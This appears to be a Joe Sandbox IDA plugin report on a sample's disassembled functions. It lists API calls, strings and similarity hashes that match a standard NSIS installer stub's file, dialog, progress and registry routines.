Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 836f1adf353e2d325b24016f8fe56e8870fd4280f6f4b89fbeb337628f0c6723
Instruction ID: 6108585e84898fc0a566315ef3a84ca8793ce744416779fac967068cfe9173e2
Opcode Fuzzy Hash: 836f1adf353e2d325b24016f8fe56e8870fd4280f6f4b89fbeb337628f0c6723
Instruction Fuzzy Hash: 0E418A71800209AFCB058F95DE459AFBBB9FF44310F04842EF991AA1A0C738EA54DFA4

Function 00405D84 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 131stringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(00430908,NUL,?,00000000,?,0040A300,00405F17,?,?), ref: 00405D93
CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,0040A300,00405F17,?,?), ref: 00405DB7
GetShortPathNameW.KERNEL32(?,00430908,00000400), ref: 00405DC0

Part of subcall function 00405B8F: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405B9F
Part of subcall function 00405B8F: lstrlenA.KERNEL32(00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405BD1

GetShortPathNameW.KERNEL32(00431108,00431108,00000400), ref: 00405DDD
wsprintfA.USER32 ref: 00405DFB
GetFileSize.KERNEL32(00000000,00000000,00431108,C0000000,00000004,00431108,?,?,?,?,?), ref: 00405E36
GlobalAlloc.KERNEL32(?,0000000A,?,?,?,?), ref: 00405E45
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E7D
SetFilePointer.KERNEL32(0040A578,00000000,00000000,00000000,00000000,00430508,00000000,-0000000A,0040A578,00000000,[Rename],00000000,00000000,00000000), ref: 00405ED3
GlobalFree.KERNEL32(00000000), ref: 00405EE4
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00405EEB

Part of subcall function 00405C2A: GetFileAttributesW.KERNEL32(00000003,00402E2E,00442800,80000000,00000003,?,?,00000000,0040353A,?), ref: 00405C2E
Part of subcall function 00405C2A: CreateFileW.KERNEL32(?,?,00000001,00000000,?,00000001,00000000,?,?,00000000,0040353A,?), ref: 00405C50

Strings

[Rename], xrefs: 00405E65, 00405E77
%ls=%ls, xrefs: 00405DF1
NUL, xrefs: 00405D8D

Memory Dump Source

Source File: 00000003.00000002.2634980867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2634946801.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635034926.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635057456.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635113538.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerSizewsprintf
String ID: %ls=%ls$NUL$[Rename]
API String ID: 222337774-899692902
Opcode ID: f6fb36cc51022f7a2fd4840f1f55d7684ca34511e2c34b0b855416ece56c70d0
Instruction ID: 58c57230207582c12286da0908ad594a16be4941a6f2872b3690da29fc8d014c
Opcode Fuzzy Hash: f6fb36cc51022f7a2fd4840f1f55d7684ca34511e2c34b0b855416ece56c70d0
Instruction Fuzzy Hash: 01311370600B18BBD2206B219D49F6B3A5CEF45755F14043AB981F62D2EE7CAA01CAAD

Function 004045B4 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404603
SetWindowTextW.USER32(00000000,?), ref: 0040462D
SHBrowseForFolderW.SHELL32(?), ref: 004046DE
CoTaskMemFree.OLE32(00000000), ref: 004046E9
lstrcmpiW.KERNEL32(00432EA0,0042D268,00000000,?,?), ref: 0040471B
lstrcatW.KERNEL32(?,00432EA0), ref: 00404727
SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404739

Part of subcall function 0040577E: GetDlgItemTextW.USER32(?,?,?,00404770), ref: 00405791

Part of subcall function 004062E9: CharNextW.USER32(0040A300,*?|<>/":,00000000,0043F000,76F93420,00441800,00000000,0040327B,00441800,00441800,004034CC), ref: 0040634C
Part of subcall function 004062E9: CharNextW.USER32(0040A300,0040A300,0040A300,00000000), ref: 0040635B
Part of subcall function 004062E9: CharNextW.USER32(0040A300,0043F000,76F93420,00441800,00000000,0040327B,00441800,00441800,004034CC), ref: 00406360
Part of subcall function 004062E9: CharPrevW.USER32(0040A300,0040A300,76F93420,00441800,00000000,0040327B,00441800,00441800,004034CC), ref: 00406373

GetDiskFreeSpaceW.KERNEL32(0042B238,?,?,0000040F,?,0042B238,0042B238,?,00000001,0042B238,?,?,000003FB,?), ref: 004047FC
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404817

Part of subcall function 00404970: lstrlenW.KERNEL32(0042D268,0042D268,?,%u.%u%s%s,00000005,00000000,00000000,?,?,00000000,?,000000DF,00000000,00000400,?), ref: 00404A11
Part of subcall function 00404970: wsprintfW.USER32 ref: 00404A1A
Part of subcall function 00404970: SetDlgItemTextW.USER32(?,0042D268), ref: 00404A2D

Strings

A, xrefs: 004046D7

Memory Dump Source

Source File: 00000003.00000002.2634980867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2634946801.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635034926.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635057456.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635113538.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A
API String ID: 2624150263-3554254475
Opcode ID: 7533d7c2dc95967098a321fa3339fb28748da65ff8be7a50b8b52b895c48c278
Instruction ID: 407ae004ccebb682b028ef0dda1631611b85a4c4b0528499d59b6de2b9b5396a
Opcode Fuzzy Hash: 7533d7c2dc95967098a321fa3339fb28748da65ff8be7a50b8b52b895c48c278
Instruction Fuzzy Hash: 9CA171B1900208ABDB11AFA6CD85AAF77B8EF84314F10843BF601B72D1D77C89418B69

Function 00402DEE Relevance: 19.4, APIs: 5, Strings: 6, Instructions: 182COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00402DFF
GetModuleFileNameW.KERNEL32(00000000,00442800,?,?,?,00000000,0040353A,?), ref: 00402E1B

Part of subcall function 00405C2A: GetFileAttributesW.KERNEL32(00000003,00402E2E,00442800,80000000,00000003,?,?,00000000,0040353A,?), ref: 00405C2E
Part of subcall function 00405C2A: CreateFileW.KERNEL32(?,?,00000001,00000000,?,00000001,00000000,?,?,00000000,0040353A,?), ref: 00405C50

GetFileSize.KERNEL32(00000000,00000000,00443000,00000000,00440800,00440800,00442800,00442800,80000000,00000003,?,?,00000000,0040353A,?), ref: 00402E67

Strings

(*B, xrefs: 00402E7C
Inst, xrefs: 00402ED3
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00402FC6
Error launching installer, xrefs: 00402E3E
Null, xrefs: 00402EE5
soft, xrefs: 00402EDC

Memory Dump Source

Source File: 00000003.00000002.2634980867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2634946801.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635034926.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635057456.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635113538.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: (*B$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 4283519449-2478819026
Opcode ID: af3239711416cc3f4489103c4f5988a16c87e5acef6a1f1d228726abe2e37e97
Instruction ID: 7d4f9fc7c678da67c97c1a1890296b71ec8e814f853b941ab64c238268a70fe9
Opcode Fuzzy Hash: af3239711416cc3f4489103c4f5988a16c87e5acef6a1f1d228726abe2e37e97
Instruction Fuzzy Hash: AF51F731904205ABDB209F61DE89B9F7BB8EB44394F14403BF904B62C1C7B89D409BAD

Function 00406077 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 207stringCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(00000000,0042C248,?,004051EB,0042C248,00000000,00000000,?), ref: 0040613A
GetSystemDirectoryW.KERNEL32(00432EA0,?), ref: 004061B8
GetWindowsDirectoryW.KERNEL32(00432EA0,?), ref: 004061CB
SHGetSpecialFolderLocation.SHELL32(?,?), ref: 00406207
SHGetPathFromIDListW.SHELL32(?,00432EA0), ref: 00406215
CoTaskMemFree.OLE32(?), ref: 00406220
lstrcatW.KERNEL32(00432EA0,\Microsoft\Internet Explorer\Quick Launch), ref: 00406244
lstrlenW.KERNEL32(00432EA0,00000000,0042C248,?,004051EB,0042C248,00000000,00000000,?), ref: 0040629E

Strings

\Microsoft\Internet Explorer\Quick Launch, xrefs: 0040623E
Software\Microsoft\Windows\CurrentVersion, xrefs: 00406186

Memory Dump Source

Source File: 00000003.00000002.2634980867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2634946801.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635034926.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635057456.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635113538.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-730719616
Opcode ID: b49515e533b40e1408f5d93883df29fa5190ace2cf2b8e5a57d609063371b42f
Instruction ID: e2b9bd4c7d0941b93a588dc58e8d14d5200dcae9cd5da35c43f1ba43b89dddbc
Opcode Fuzzy Hash: b49515e533b40e1408f5d93883df29fa5190ace2cf2b8e5a57d609063371b42f
Instruction Fuzzy Hash: 79610371A00504EBDF20AF64CC40BAE37A5AF55324F16817FE942BA2D0D73D9AA1CB4D

Function 00403027 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 166COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00403091
GetTickCount.KERNEL32 ref: 00403138
MulDiv.KERNEL32(7FFFFFFF,?,?), ref: 00403161
wsprintfW.USER32 ref: 00403174

Strings

... %d%%, xrefs: 0040316E
jA, xrefs: 004031F1
jA, xrefs: 004030E7

Memory Dump Source

Source File: 00000003.00000002.2634980867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2634946801.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635034926.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635057456.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635113538.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: CountTick$wsprintf
String ID: jA$ jA$... %d%%
API String ID: 551687249-2167919867
Opcode ID: e07d926733e31303047b785d6e8e1ef749c31aa3f1888e26d22e6b527b659153
Instruction ID: 9abceb1f43df10d1a821086e1d45a58eca4464abfa5f2a46825b956852eb5d51
Opcode Fuzzy Hash: e07d926733e31303047b785d6e8e1ef749c31aa3f1888e26d22e6b527b659153
Instruction Fuzzy Hash: AF517C71901259EBDB10CF65DA44BAE7BB8AF05766F10417FF811B62C0C7789E40CBAA

Function 00404180 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 0040419D
GetSysColor.USER32(00000000), ref: 004041B9
SetTextColor.GDI32(?,00000000), ref: 004041C5
SetBkMode.GDI32(?,?), ref: 004041D1
GetSysColor.USER32(?), ref: 004041E4
SetBkColor.GDI32(?,?), ref: 004041F4
DeleteObject.GDI32(?), ref: 0040420E
CreateBrushIndirect.GDI32(?), ref: 00404218

Memory Dump Source

Source File: 00000003.00000002.2634980867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2634946801.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635034926.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635057456.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635113538.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 1be7c14e932793da5b7e12cfd745236bd09d54aa5f4605660dea7ebeed684375
Instruction ID: dec6db0c7b043789455d5ba444b9f0b4b6699da27fefac44a21b5edf9a5b929b
Opcode Fuzzy Hash: 1be7c14e932793da5b7e12cfd745236bd09d54aa5f4605660dea7ebeed684375
Instruction Fuzzy Hash: E321C3B1500704ABCB219F68EE08B4BBBF8AF40710F04896DF996F66A0C734E944CB64

Function 004025E5 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 151fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 0040264D
MultiByteToWideChar.KERNEL32(?,?,?,?,?,00000001), ref: 00402688
SetFilePointer.KERNEL32(?,?,?,00000001,?,?,?,?,?,00000001), ref: 004026AB
MultiByteToWideChar.KERNEL32(?,?,?,00000000,?,00000001,?,00000001,?,?,?,?,?,00000001), ref: 004026C1

Part of subcall function 00405D0B: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 00405D21

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 0040276D

Strings

9, xrefs: 00402630

Memory Dump Source

Source File: 00000003.00000002.2634980867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2634946801.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635034926.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635057456.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635113538.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: 1e0cadf04f88ccade5697334c954c2e9868fb264b6ac47f65209ed57e79425ed
Instruction ID: c11c119823ef092d14edb4d445d1eebecf1e4ba29e3308019af08aa6c5ad61e3
Opcode Fuzzy Hash: 1e0cadf04f88ccade5697334c954c2e9868fb264b6ac47f65209ed57e79425ed
Instruction Fuzzy Hash: 43510874D00219AADF209F94CA88ABEB779FF04344F50447BE501B72E0D7B99D42DB69

Function 004051B4 Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0042C248,00000000,?,76F923A0,?,?,?,?,?,?,?,?,?,0040318B,00000000,?), ref: 004051EC
lstrlenW.KERNEL32(0040318B,0042C248,00000000,?,76F923A0,?,?,?,?,?,?,?,?,?,0040318B,00000000), ref: 004051FC
lstrcatW.KERNEL32(0042C248,0040318B,0040318B,0042C248,00000000,?,76F923A0), ref: 0040520F
SetWindowTextW.USER32(0042C248,0042C248), ref: 00405221
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405247
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405261
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040526F

Memory Dump Source

Source File: 00000003.00000002.2634980867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2634946801.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635034926.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635057456.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635113538.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: 8e6bf81ce48c4b2cdbfca5526b135b5755e0331aa1f53bcdb355af2f73056803
Instruction ID: bea5982b108369c56cf3d35f12f42b62494ffc2cb206b3c5387e037ca996873b
Opcode Fuzzy Hash: 8e6bf81ce48c4b2cdbfca5526b135b5755e0331aa1f53bcdb355af2f73056803
Instruction Fuzzy Hash: B2219D71900518BBCB119FA5DD849DFBFB8EF45354F14807AF944B6290C7794A50CFA8

Function 00404A7E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404A99
GetMessagePos.USER32 ref: 00404AA1
ScreenToClient.USER32(?,?), ref: 00404ABB
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404ACD
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404AF3

Strings

f, xrefs: 00404ACF

Memory Dump Source

Source File: 00000003.00000002.2634980867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2634946801.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635034926.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635057456.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635113538.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 96292700c6c1febd080c169329d2e770bb4f6d3abf554412e323a865936e6816
Instruction ID: 4e6aff0cdf26a8240c2caa3ab5eae10a4373f49143cb0f782fa754f2c80184c8
Opcode Fuzzy Hash: 96292700c6c1febd080c169329d2e770bb4f6d3abf554412e323a865936e6816
Instruction Fuzzy Hash: AE015E71A40219BADB00DB94DD85FFEBBBCAF55711F10012BBA51B61D0C7B49A058BA4

Function 00402D04 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402D22
MulDiv.KERNEL32(?,?,?), ref: 00402D4D
wsprintfW.USER32 ref: 00402D5D
SetWindowTextW.USER32(?,?), ref: 00402D6D
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402D7F

Strings

verifying installer: %d%%, xrefs: 00402D57

Memory Dump Source

Source File: 00000003.00000002.2634980867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2634946801.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635034926.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635057456.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635113538.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: afeae77a0bcb9b30cd304cf262a1d5eea60d0cf7f315b1f8058d570c1e4d3d01
Instruction ID: 97815700fdd75a8fa64cd4b2fc5eb6b0a03b286ae4c71c47182b2025913274cc
Opcode Fuzzy Hash: afeae77a0bcb9b30cd304cf262a1d5eea60d0cf7f315b1f8058d570c1e4d3d01
Instruction Fuzzy Hash: 1801447060020DBFEF249F61DE49FEA3B69AB04304F008039FA45B91D0DBB889558F58

Function 00402870 Relevance: 9.1, APIs: 6, Instructions: 72memoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00405C2A: GetFileAttributesW.KERNEL32(00000003,00402E2E,00442800,80000000,00000003,?,?,00000000,0040353A,?), ref: 00405C2E
Part of subcall function 00405C2A: CreateFileW.KERNEL32(?,?,00000001,00000000,?,00000001,00000000,?,?,00000000,0040353A,?), ref: 00405C50

GlobalAlloc.KERNEL32(?,?), ref: 00402894
CloseHandle.KERNEL32(?), ref: 00402914

Part of subcall function 00403258: SetFilePointer.KERNEL32(00000000,00000000,00000000,00402FB5,?,?,?,00000000,0040353A,?), ref: 00403266

GlobalAlloc.KERNEL32(?,?,00000000,?), ref: 004028B0
GlobalFree.KERNEL32(?), ref: 004028E9
GlobalFree.KERNEL32(00000000), ref: 004028FC

Part of subcall function 00403027: GetTickCount.KERNEL32 ref: 00403091
Part of subcall function 00403027: GetTickCount.KERNEL32 ref: 00403138
Part of subcall function 00403027: MulDiv.KERNEL32(7FFFFFFF,?,?), ref: 00403161
Part of subcall function 00403027: wsprintfW.USER32 ref: 00403174

DeleteFileW.KERNEL32(?), ref: 00402928

Memory Dump Source

Source File: 00000003.00000002.2634980867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2634946801.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635034926.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635057456.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635113538.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: FileGlobal$AllocCountFreeTick$AttributesCloseCreateDeleteHandlePointerwsprintf
String ID:
API String ID: 2082585436-0
Opcode ID: f09a1f9abd4752cb5b2d55da90d863fde1dab2faf049735581e37d10801ea25f
Instruction ID: f11faf613eabf70f6da5efab5544ef3b1f343b4f82166007b8c29dabf9a1b1c4
Opcode Fuzzy Hash: f09a1f9abd4752cb5b2d55da90d863fde1dab2faf049735581e37d10801ea25f
Instruction Fuzzy Hash: D0217C72800118BFCF116FA5CE4889E7EB9EF09324F24423AF554762E0C6795D81DB68

Function 004062E9 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(0040A300,*?|<>/":,00000000,0043F000,76F93420,00441800,00000000,0040327B,00441800,00441800,004034CC), ref: 0040634C
CharNextW.USER32(0040A300,0040A300,0040A300,00000000), ref: 0040635B
CharNextW.USER32(0040A300,0043F000,76F93420,00441800,00000000,0040327B,00441800,00441800,004034CC), ref: 00406360
CharPrevW.USER32(0040A300,0040A300,76F93420,00441800,00000000,0040327B,00441800,00441800,004034CC), ref: 00406373

Strings

*?|<>/":, xrefs: 0040633B

Memory Dump Source

Source File: 00000003.00000002.2634980867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2634946801.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635034926.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635057456.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635113538.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: beead49ce65fad8369d40c55e1945ba00e1ab41150cab7c26a3550435dbf32aa
Instruction ID: f5504631107e1e3793a073f133b65ff293a0897d7111eb10bd5d41781883406d
Opcode Fuzzy Hash: beead49ce65fad8369d40c55e1945ba00e1ab41150cab7c26a3550435dbf32aa
Instruction Fuzzy Hash: B611C42690061295DB303B558C84AB762F8EF54750F56843FED86B32D0EB7C9CA2C6ED

Function 00401767 Relevance: 7.6, APIs: 5, Instructions: 145stringtimeCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32(00000000,00000000,0040A5F0,00440000,?,?,00000031), ref: 004017A8
CompareFileTime.KERNEL32(-00000014,?,0040A5F0,0040A5F0,00000000,00000000,0040A5F0,00440000,?,?,00000031), ref: 004017CD

Part of subcall function 00406055: lstrcpynW.KERNEL32(0040A300,0040A300,?,00403350,00433F00,NSIS Error), ref: 00406062

Part of subcall function 004051B4: lstrlenW.KERNEL32(0042C248,00000000,?,76F923A0,?,?,?,?,?,?,?,?,?,0040318B,00000000,?), ref: 004051EC
Part of subcall function 004051B4: lstrlenW.KERNEL32(0040318B,0042C248,00000000,?,76F923A0,?,?,?,?,?,?,?,?,?,0040318B,00000000), ref: 004051FC
Part of subcall function 004051B4: lstrcatW.KERNEL32(0042C248,0040318B,0040318B,0042C248,00000000,?,76F923A0), ref: 0040520F
Part of subcall function 004051B4: SetWindowTextW.USER32(0042C248,0042C248), ref: 00405221
Part of subcall function 004051B4: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405247
Part of subcall function 004051B4: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405261
Part of subcall function 004051B4: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040526F

Memory Dump Source

Source File: 00000003.00000002.2634980867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2634946801.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635034926.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635057456.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635113538.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID:
API String ID: 1941528284-0
Opcode ID: 76a6acc1869b1502df51b2d70689f923f1781407bbca0b7b9e67ba73967ab9b8
Instruction ID: 02e4f6238df89927c362e8fae2a75ca1a565c16d749b69ec27d3a85cbadddcd8
Opcode Fuzzy Hash: 76a6acc1869b1502df51b2d70689f923f1781407bbca0b7b9e67ba73967ab9b8
Instruction Fuzzy Hash: 0941B631900515BACF11BFB5CC45EAF7679EF05328B24423BF522B10E1DB3C86519A6D

Function 00402BFF Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00402C20
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402C5C
RegCloseKey.ADVAPI32(?), ref: 00402C65
RegCloseKey.ADVAPI32(?), ref: 00402C8A
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402CA8

Memory Dump Source

Source File: 00000003.00000002.2634980867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2634946801.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635034926.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635057456.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2635113538.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 9537b7928c54e317f26638c763091e9991b3818ca9768273474462c6ff6c3974
